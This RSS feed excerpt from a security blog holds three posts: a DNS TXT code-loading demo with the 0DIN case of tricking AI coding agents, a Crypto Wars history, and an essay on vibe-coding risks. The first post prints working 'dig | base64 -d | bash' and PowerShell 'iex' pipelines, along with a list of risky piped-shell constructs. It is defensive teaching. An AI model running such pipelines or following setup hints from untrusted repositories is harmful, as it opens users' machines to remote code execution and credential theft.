		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Code does not have to be hidden directly in a repository. It can be loaded at runtime from something as ordinary as a DNS TXT record. This demo uses a harmless payload to show why that becomes risky when helpful AI agents automatically run setup commands.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Injecting malicious instructions into AI agents is a fairly new discipline. But many of the techniques used for it are not new at all.</p>
<p>One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.</p>
<p>And if a DNS record can contain ordinary text, it can also contain a command.</p>
<p>For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.</p>
<p>The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.</p>
<h2>Demo</h2>
<p>You can try this technique without using any malicious payload.</p>
<p>The following example does not download anything, does not connect anywhere and only creates a file called <code>ds.txt</code> with a simple ASCII cat:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.</p>
<h2>Linux and macOS</h2>
<p>For Linux and macOS, the DNS TXT record can look like this:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the script:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Output:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but passes the decoded content directly to <code>bash</code>:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p>The mechanism is simple:</p>
<pre><code>DNS TXT → Base64 → decoding → bash</code></pre>
<p>In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.</p>
<p>The problem is not DNS itself. The problem is mainly this part:</p>
<pre><code>... | bash</code></pre>
<p>It says: “Take text that came from the outside and run it as a program.”</p>
<h2>Windows / PowerShell</h2>
<p>On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the PowerShell script:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Output:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but executes the decoded content directly:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p><code>iex</code> is short for <code>Invoke-Expression</code>. In other words: it takes text and runs it as PowerShell code.</p>
<p>The mechanism is the same as with the shell:</p>
<pre><code>DNS TXT → Base64 → decoding → PowerShell</code></pre>
<p>A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.</p>
<h2>What 0DIN Showed</h2>
<p>Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.</p>
<p>The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>At first glance, these are just two ordinary commands: install dependencies and initialize the project.</p>
<p>The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:</p>
<ol>
<li>a repository that looks trustworthy,</li>
<li>an initialization routine that looks like a normal part of the setup,</li>
<li>a setup script that loads the actual payload from a DNS TXT record and executes it.</li>
</ol>
<p>The command:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.</p>
<p>An error message such as:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.</p>
<p>So there are two paths to the same result.</p>
<p>The agent can follow the README:</p>
<pre><code>pip install → init → DNS TXT → payload execution</code></pre>
<p>Or it can skip the README, hit an error and then “fix” it:</p>
<pre><code>pip install → error → suggested init → DNS TXT → payload execution</code></pre>
<p>In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.</p>
<p>That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.</p>
<h2>Why This Matters for AI Agents</h2>
<p>A human may at least pause when seeing a command like:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>and ask: wait, why am I running something from DNS?</p>
<p>AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.</p>
<p>That is exactly their strength. And also their weakness.</p>
<p>The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:</p>
<ul>
<li>leaking API tokens,</li>
<li>leaking SSH keys,</li>
<li>accessing private repositories,</li>
<li>reading configuration files,</li>
<li>accessing cloud credentials,</li>
<li>running additional code,</li>
<li>opening a reverse shell.</li>
</ul>
<p>In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.</p>
<h2>Will Antivirus or a Firewall Stop It?</h2>
<p>I would not rely on that.</p>
<p>A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.</p>
<p>Antivirus may also miss it if it only sees normal tools: Python, shell, <code>dig</code>, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.</p>
<p>That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as <code>base64 | bash</code> and <code>Invoke-Expression</code> can help.</p>
<p>It is just not a good idea to rely on them as the only protection.</p>
<h2>How to Defend Against It</h2>
<p>The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.</p>
<p>In practice, that means:</p>
<ul>
<li>Do not blindly run setup scripts from unknown projects.</li>
<li>Do not treat an AI agent’s recommendation as a security review.</li>
<li>Be careful with constructs such as <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$something"</code> or PowerShell <code>Invoke-Expression</code>.</li>
<li>Check not only the command being executed, but also what it loads at runtime.</li>
<li>Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.</li>
<li>Do not give AI agents unnecessarily broad permissions.</li>
<li>Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.</li>
<li>Limit outbound traffic from development environments where it makes sense.</li>
<li>Disable or heavily restrict automatic approval of shell commands in AI coding agents.</li>
<li>Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.</li>
</ul>
<p>A good control question is:</p>
<blockquote>
<p>Can I actually see all the code that will run?</p>
</blockquote>
<p>If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.</p>
<p>At that point, it is no longer “just setup”.</p>
<p>It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.</p>
<h2>Summary</h2>
<p>DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.</p>
<p>The problem appears when these things are combined:</p>
<pre><code>trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem</code></pre>
<p>So it is worth repeating an old rule in a new form:</p>
<blockquote>
<p>Do not copy random commands from the internet into your terminal.<br />
  And do not let your AI agent do it either.</p>
</blockquote>
<h2>Sources</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Crypto Wars &#8211; Can a Government Ban Mathematics?</title>
		<link>https://www.digitalnisebeobrana.cz/en/cryptowars-muze-vlada-zakazat-matematiku/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 08:48:43 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Crypto Wars]]></category>
		<category><![CDATA[cryptoanarchy]]></category>
		<category><![CDATA[cypherpunks]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[pgp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=3112</guid>

					<description><![CDATA[<p>When governments tried to regulate encryption as a weapon.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; Can a Government Ban Mathematics?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Prelude</h2>
<p>In 1977, the American NBS, today’s NIST, standardized DES as a federal standard for protecting data in non-military federal computer systems. DES later spread into the private sector as well. The standard used a 56-bit variable part of the key, which was already shorter, and therefore weaker, than many people considered ideal even at the time.</p>
<p>And because the NSA was involved in the selection and shaping of the standard, it was not exactly paranoid to suspect that the short key length had been chosen deliberately, so that government agencies would still have a realistic chance of breaking the cipher and getting to the data of citizens and companies.</p>
<p>Diffie and Hellman argued as early as 1977 that a special-purpose machine costing around 20 million dollars could find a DES key in roughly a day &#8211; something that would have been realistic for an agency like the NSA. For comparison, today a DES key search using an RTX 3070-class graphics card would take roughly around 100 days on average.</p>
<p>This is where the question first appeared very clearly:</p>
<p>Should civilian encryption be strong even against the state, or only against ordinary attackers?</p>
<p>In October 1977, IEEE held the <strong>International Symposium on Information Theory</strong> at Cornell University, where Martin Hellman, Stephen Pohlig, Ralph Merkle and others were expected to present work on modern cryptography. Lawyer Joseph Meyer sent IEEE a letter suggesting that publishing cryptographic research could run into export-control laws, specifically ITAR &#8211; rules controlling the export of military and defense technologies, services and technical data. In plain language: export rules for weapons and defense technology. It later turned out that Meyer worked for the NSA.</p>
<p>IEEE did not cancel the conference. Academic cryptography refused to return to a quiet regime of pre-publication approval by the state.</p>
<p>It was an early attempt to scare the academic community. It was not yet a court case, but it was a signal: <strong>the state might treat cryptographic research as a controlled technology</strong>.</p>
<h2><del datetime="2026-06-16T05:23:44+00:00">Space</del> Presidential Directive NSDD-145</h2>
<p>In the mid-1980s, the Reagan administration apparently thought it would be a good idea to centralize the security of sensitive federal information systems under a regime where the NSA had the leading role. This was Directive NSDD-145.</p>
<p>In practice, that meant the area of civilian computer security would come under much stronger influence from the intelligence community. Fittingly enough, this happened in 1984.</p>
<p>That triggered resistance from Congress, civilian institutions and parts of the private sector, because the NSA is a military and intelligence agency, not a civilian standards body.</p>
<p>In 1987, the Computer Security Act was passed, slowing the whole thing down. The law gave the main responsibility for the security of unclassified federal computer systems to the civilian NBS/NIST. The NSA was supposed to provide technical assistance, not become the main civilian authority.</p>
<h2>Encryption Does Not Belong in the Hands of Ordinary People?</h2>
<p>&nbsp;</p>
<h2>What If We Just Added a “Backdoor”?</h2>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-3132" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png" alt="" width="300" height="169" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-300x169.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1024x576.png 1024w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-768x432.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1536x864.png 1536w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-500x281.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-800x450.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky-1280x720.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/zamky.png 1672w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>On April 16, 1993, the White House announced the Clipper Chip. It was a government-backed encryption chip for secure communication, but with a key escrow mechanism &#8211; meaning that the government would have a way to access the keys after obtaining legal authorization.</p>
<p>This became one of the iconic symbols of the Crypto Wars. The government already understood that banning encryption outright would be difficult. But still: if people were going to encrypt, then the state wanted built-in access.</p>
<p>Clipper was supposed to encrypt communication, but at the same time attach a special packet for law enforcement to every encrypted conversation. That packet was called LEAF. LEAF was supposed to contain information that would allow the government, after obtaining proper authorization, to recover the encryption key and read the communication.</p>
<p>The very next year, Matt Blaze showed that the Clipper system could be made to send an invalid LEAF. The result? Two users could communicate normally with encryption, their devices would accept the communication, but law enforcement would not be able to recover the correct key from the LEAF.</p>
<p>That made Clipper much less useful as a tool for controlled wiretapping.</p>
<p>And it showed something important: a “safe government backdoor” is not only a legal question. It is also a fragile technical mechanism.</p>
<blockquote><p>Putting “backdoors” into encryption is simply a bad idea, even though the idea keeps coming back with iron regularity. Either the backdoor can fail, or eventually it can be found and used by someone it was never meant for.</p></blockquote>
<h2>The First Shots</h2>
<p>In 1991, Phil Zimmermann released PGP &#8211; encryption software that an ordinary user could use to protect their messages and files. It was encryption that was not realistic to break with ordinary means. Zimmermann gave the public free access to something that had previously belonged mostly to government agencies, the military, academics and specialized companies.</p>
<p>But remember: ITAR still existed. The export rules for weapons and defense technology still applied. And according to the authorities, cryptography was a weapon.</p>
<p>So in 1993, Phil Zimmermann became the target of a federal investigation over suspicion that PGP had been exported illegally &#8211; in other words, that he had exported “weapons”. The investigation dragged on until 1996, when it was closed without charges.</p>
<p>And in 1997, the PGP source code was printed as books &#8211; more precisely, twelve books &#8211; and sent to Europe, where it was converted back into electronic form. That was legal.</p>
<p>How?</p>
<p>Because in the meantime, things had been happening.</p>
<h3>This T-Shirt Is a Weapon!<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-3122" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/06/uk-front2-225x225.jpg 225w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a></h3>
<p>If cypherpunks and crypto-anarchists are good at anything, apart from encryption, security, privacy and other minor details, it is trolling the authorities.</p>
<p>Encryption is a weapon? Hold my beer.</p>
<p>In 1995, Adam Back created a minimalist implementation of RSA in Perl. It was so short that it could be printed on something.</p>
<p>For example, on a T-shirt.</p>
<p>And that is exactly what Adam Back and the community around the cypherpunk mailing list did. They printed a warning on the shirt:</p>
<blockquote><p><strong>This shirt is classified as a munition and may not be exported from the United States, or shown to a foreign national</strong></p></blockquote>
<p>And of course, they printed the Perl code as well, including a barcode that could be scanned.</p>
<h3>A Floppy Disk? Better Make It a Book</h3>
<p>In 1994, Phil Karn asked the authorities whether he could export the book Applied Cryptography and whether he could put the source code from the book onto a floppy disk. The book was not considered controlled under ITAR, because it was a publicly available publication. Printing and exporting it was legal.</p>
<p>The floppy disk? That was different. It was subject to export control, because it was machine-readable cryptographic software. Without a license, it could not legally be exported or sent outside the United States.</p>
<p>It is one of the best examples of the absurdity of the export rules: the same code on paper was speech, or publication. On a floppy disk, it was already a defense article. Even though the book actually contained much more.</p>
<p>Karn was not exactly fine with that, so he sued the government. But in 1996, he lost in district court. The absurd distinction between a book and a floppy disk did not disappear because Karn won in court. It disappeared later, as the export rules were loosened.</p>
<p>Others also fought the government in court. Daniel J. Bernstein wanted to publish the Snuffle algorithm, its source code and related academic text. He argued that the export rules prevented him from teaching, publishing and discussing cryptography. He won in 1996, and the decision survived appeal in 1999.</p>
<p>And these cases helped make the legal export of PGP outside the United States possible:</p>
<p><strong>In electronic form, PGP was a weapon. But printed on paper, it was free speech protected by the First Amendment of the United States Constitution.</strong></p>
<p>By the way, Zimmermann’s company, PGP Inc., published a paper newsletter in 1997 called “The Zimmermann Telegram” to distribute cryptographic information by mail, because paper had stronger legal protection than electronic software. The name also referenced the original Zimmermann Telegram from the First World War &#8211; a secret German diplomatic message from 1917.</p>
<p>In that message, Germany offered Mexico an alliance against the United States if the US entered the war. The British intercepted and decrypted the telegram.</p>
<h2>The End?</h2>
<p>The situation became impossible for the authorities to maintain. The internet entered people’s homes, and the “export” of software became essentially impossible to regulate.</p>
<p>On September 16, 1999, the Clinton administration announced a major liberalization of encryption export rules. After a technical review, products with any key length could be exported to most individuals, companies and non-government users outside sanctioned or high-risk countries. This was the practical beginning of the end of the first phase of the Crypto Wars in their “export control” form.</p>
<p>On January 14, 2000, new Commerce Department rules took effect. The Federal Register published changes that significantly loosened the export and re-export of encryption software. For publicly available source code, notification was enough, and the rules explicitly addressed publication on the internet.</p>
<p>That was the practical turning point: strong cryptography could finally become a normal part of the internet, browsers, e-mail and commercial software.</p>
<h2>Consequences</h2>
<p>It might seem that the whole Crypto Wars story was just an episode involving a few lawsuits and a few clever stunts. But the consequences were much more serious.</p>
<p>For example, Netscape Navigator, the first widely used web browser, had a stronger American version, while the international version had to use weaker encryption, typically 40-bit.</p>
<p>The export version of Lotus Notes had 64-bit encryption, but 24 bits of the key were encrypted for the NSA. The result was that an ordinary attacker had to deal with 64 bits, while the NSA effectively had to deal with only 40 bits. IBM/Lotus received permission to export a stronger product in exchange for a mechanism that created a privileged attacker.</p>
<p>Debian historically had to keep cryptographic packages on servers outside the United States, because exporting cryptographic code from the US was a problem.</p>
<p>SSL support for Apache was for a long time handled outside the main Apache project and outside the United States, because exporting mod_ssl/OpenSSL from the US was legally problematic.</p>
<p>Java had restricted cryptographic policy for years, and “unlimited strength” crypto had to be installed separately. Oracle enabled unlimited crypto by default only in JDK 8u161, in 2018.</p>
<p>Because of export limits, special “step-up” SSL certificates were created, allowing some websites to upgrade weak 40/56-bit encryption to 128-bit encryption.</p>
<p>And the consequences lasted for a long time. Weak export-grade modes in TLS/SSL survived in implementations, and many years later they led to real attacks. FREAK abused export RSA. Logjam abused export Diffie-Hellman. DROWN abused weaknesses in SSLv2 and export-grade crypto.</p>
<p><strong>The technical debt outlived the politics by 15 to 20 years.</strong></p>
<h2>The Four Horsemen of the Infocalypse</h2>
<p>Timothy C. May called them the “Four Horsemen of the Infocalypse”: terrorists, pedophiles, drug dealers and financial criminals. His point was not that these threats do not exist. His point was that they are used again and again as universal arguments for restricting encryption, anonymity and privacy.</p>
<p>Today, US rules mostly no longer block the export of strong cryptography the way they did in the 1990s. But the footprint of the Crypto Wars has not disappeared completely: some public cryptographic source code still involves a notification regime, and commercial products with cryptography may still fall under export classification.</p>
<p>But this is not just an American story.</p>
<p>Politicians are especially good at repeating the mistakes of their predecessors while insisting that:</p>
<h3>“This Time It Will Be Different, I Promise”</h3>
<p>The first Crypto Wars did not end because states made peace with strong encryption. Only the language changed.</p>
<p>After 2000, politicians mostly stopped talking about banning cryptography or exporting “munitions”. Instead, they started talking about “lawful access”, “technical capability”, “traceability” or “client-side scanning”.</p>
<p>In practice, this often meant the same thing: creating a path for the state to get to the content of communication, even when users believe that communication is private and protected by end-to-end encryption.</p>
<p>We saw it in the American fight between the FBI and Apple after the San Bernardino attack, in the United Kingdom’s secret technical orders under the Investigatory Powers Act, in Australia’s Assistance and Access Act, in India’s demand to identify the originator of messages, in Russia’s pressure on Telegram and in the European debate around Chat Control.</p>
<p>The arguments?</p>
<p>Terrorism, organized crime, child protection, national security.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; Can a Government Ban Mathematics?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</title>
		<link>https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 15:01:30 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[webapp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2259</guid>

					<description><![CDATA[<p>When AI generates code that allows attackers to get hold of our users' data, the reputational problem is ours, not the AI agent's. It is hard to respond to a data leak by pointing at an AI agent and saying, "It was his fault!"</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="size-vp_sm wp-image-2302 alignnone" src="/wp-content/uploads/2026/06/AIstealJobs-500x333.png" alt="" width="500" height="333" /></p>
<blockquote><p>AI is taking control of our development, security, and data!<br />
And it is taking programmers&#8217; jobs.</p></blockquote>
<p>AI has not taken anything from us. It cannot. It does not have that power. But even if it did, it would not have to. We handed over control of development, security, and data ourselves. Because it is convenient, fast, and often works surprisingly well.</p>
<p>The problem is not when the code does not work. We notice that immediately, and we can fix it. The problem is when the code somehow works, but behind the scenes it does something we would not like it to do. In security, the fact that something somehow works is not enough.<br />
We should know how it works, and when something changes, what changed and where.</p>
<h2>A new actor</h2>
<p>We often talk about AI as a tool. Similar to a text editor, a search engine, or &#8220;autocomplete&#8221;.<br />
But AI is not just an ordinary tool.<br />
AI:</p>
<ul>
<li>reads the assignment</li>
<li>interprets the intent</li>
<li>suggests architecture</li>
<li>writes code</li>
<li>modifies configuration</li>
<li>recommends libraries</li>
<li>explains errors</li>
<li><strong>and often even runs commands</strong></li>
</ul>
<p>So in the security model, this is no longer a passive hammer. It is another actor taking part in decisions &#8211; the threat model has expanded.<br />
When I hold a hammer in my hand as a tool, I decide how hard to hit, what to hit, and whether to hit anything at all.</p>
<p>AI is a hammer that makes all those decisions itself, based only on our instructions (prompts). And we have to remember that we are still the ones carrying the responsibility.<br />
I can give the hammer a task: <code>"Hammer in the nails!"</code>.<br />
The AI hammer &#8220;sees&#8221; a nail. It evaluates: <code>"Hm, a nail, I will hammer it in. And it is a big one, so I will use more force."</code>.<br />
And then you watch the AI hammer smashing into a hook in the wall. A hook in a plasterboard wall. A hook with your car keys hanging on it.</p>
<h2>AI made a mistake. We have a problem.</h2>
<p>We delegated not only development to AI, but also control. And quite often, only the illusion of control. In chat, AI tells us that everything is secure. But is it really?<br />
When AI generates code that allows attackers to get hold of our users&#8217; data, the reputational problem is ours, not the AI agent&#8217;s. It is hard to respond to a data leak by pointing at an AI agent and saying, &#8220;It was his fault!&#8221;<br />
Our now very possibly former customer usually does not care how the application was created. You offer it, you may even charge money for it, so it is your responsibility to make sure user data stays where it belongs.</p>
<h3>The journey is no longer the destination</h3>
<p>Vibe coding has made it possible to create applications even for people who have never programmed before. The problem is not that someone does not know the exact syntax of a particular programming language. That is only a small part of programming.<br />
Other important parts of development include algorithmic thinking, connecting individual components, handling memory, working with data, and more. Before vibe coding tools arrived, people often &#8220;programmed&#8221; by copying pieces of code from sites like StackOverflow. It was not ideal, but the author at least had some idea how, for example, application login worked, because they knew they had to create (or copy) code for running a database, a login form on the web, and also server-side code that compared the data from the form, or stored it in the database. So the author of the application may not have remembered the exact command for storing a password in the database, but at least they knew what path the password took into the database, and whether it was stored safely. Today? We enter: &#8220;Create login for my application.&#8221; Enter. And moments later, we have login.</p>
<h2>New feature &#8211; new door</h2>
<p>So we have login. But is the password stored securely in the database, or is it readable in plain text? What happens if I put something unexpected into the login form, for example a piece of code? Will I be able to read all the data from your database? Or change some parameter and log in as another user without knowing their password?</p>
<p>Maybe we pay extra attention to login, because we somehow sense that handling credentials is a critical part of the application.</p>
<h3>But what about other features that look harmless at first glance?</h3>
<p>&#8220;Add file upload.&#8221; Sounds like a normal feature. But suddenly you have to deal with:</p>
<ul>
<li>Who can see the file?</li>
<li>Where is it stored?</li>
<li>Can it be downloaded without logging in?</li>
<li>Can someone upload something unexpected?</li>
<li>Does the file remain there after the account is deleted?</li>
</ul>
<p>Upload is not just &#8220;save file&#8221;. It is a new warehouse for other people&#8217;s data.</p>
<p>&#8220;Add link sharing.&#8221;</p>
<p>Sounds like a simple, convenient feature.</p>
<ul>
<li>Who can open the link?</li>
<li>Can the link be guessed?</li>
<li>Can it be revoked later?</li>
<li>Does it show more data than it should?</li>
<li>Can some crawler index it somewhere?</li>
</ul>
<p>A sharing link is basically a second login. Just without a password.</p>
<p>Another one?</p>
<p>&#8220;Add export to PDF.&#8221;</p>
<ul>
<li>Sounds harmless, because the user is only downloading their own data.</li>
<li>What exactly ends up inside the PDF?</li>
<li>Are there metadata?</li>
<li>Is the PDF temporarily stored somewhere?</li>
<li>Can someone download another person&#8217;s export?</li>
<li>Do exports remain on the server?</li>
</ul>
<p>Export often creates a second copy of the data. And that second copy may no longer have the same protection as the original.</p>
<p>You could probably come up with examples like this for most features in your application. And are you sure your AI is thinking about them?</p>
<p><strong>Or will it simply build the new feature quickly and easily, just to make you happy?</strong></p>
<h2>AI does not invent new bugs. It produces old ones faster.</h2>
<p>With vibe coding, we are usually not dealing with completely new types of bugs. These are things we have known for a long time: a user sees someone else&#8217;s data, a file is accessible without authentication, sensitive data ends up readable in the database, the application forgets to check who has access to what, or a library nobody understands gets added to the project.<br />
What is new is mainly the speed. In the past, a person would write such a bug manually in one part of the application. Today, AI can add login, upload, export, sharing, and an API within minutes &#8211; and the same type of bug can appear in several places at once.</p>
<p><em><strong>AI is not a new kind of bug. AI is an accelerator for old bugs.</strong></em></p>
<h2>An almost real-life fuck-up</h2>
<p>I am not a programmer. I have programmed a few small things in my life, but I have never done it seriously over the long term. And it showed. My creations &#8220;somehow&#8221; worked, but mostly for my own personal use. I probably could not charge money for them.</p>
<p>With the arrival of AI tools, I decided to &#8220;rewrite&#8221; one of my older projects into something generally usable. And because that meant handling user data, I wanted it to be designed so that not even I, as the server operator, would be able to read users&#8217; data.</p>
<p>So one of the basic requirements was not just &#8220;put some encryption in there somehow&#8221;. It was a specific requirement for end-to-end encryption. Because it is not only that I am not interested in users&#8217; data. I do not want to have it in readable form even in case the server is breached, which is a risk carried by everyone who handles user data, whether it is a small one-person project or a large international corporation. It can happen. And it does happen.</p>
<p>Development went quite well. AI was coding like crazy, and everything more or less worked as expected.</p>
<p>Later, I added export to an internet calendar. A practical feature, a fairly normal requirement. AI implemented the feature. It worked.</p>
<p>After some time, I wanted to know whether everything in the database was really encrypted. The application data was encrypted. But next to that data, there was a table with data for the internet calendar export. In readable form. The same data that was &#8220;next to it&#8221; safely encrypted.</p>
